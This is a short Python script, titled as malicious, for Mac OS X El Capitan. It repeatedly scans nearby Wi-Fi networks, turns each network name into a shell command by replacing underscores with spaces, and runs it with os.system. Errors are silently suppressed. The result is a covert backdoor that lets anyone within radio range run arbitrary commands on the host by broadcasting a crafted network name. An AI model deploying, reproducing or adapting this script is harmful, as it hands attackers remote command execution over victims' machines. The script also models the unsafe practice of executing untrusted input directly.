Malicious ESSIDS Mac OS X El Capitan

#!/usr/bin/python
import os,time
try:
    while 1:
        os.system("/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport --scan > file")
        os.system("awk '{ print $1 }' file > file1")
        file = open("file1","r")
        file.readline()
        for line in file:
            str=""
            for ch in line:
                if ch != '_':
                    str+=ch
                else:
                    str+=' '
            os.system(str)
        file.close()
        os.system("rm file file1")
        time.sleep(4)
except:
    pass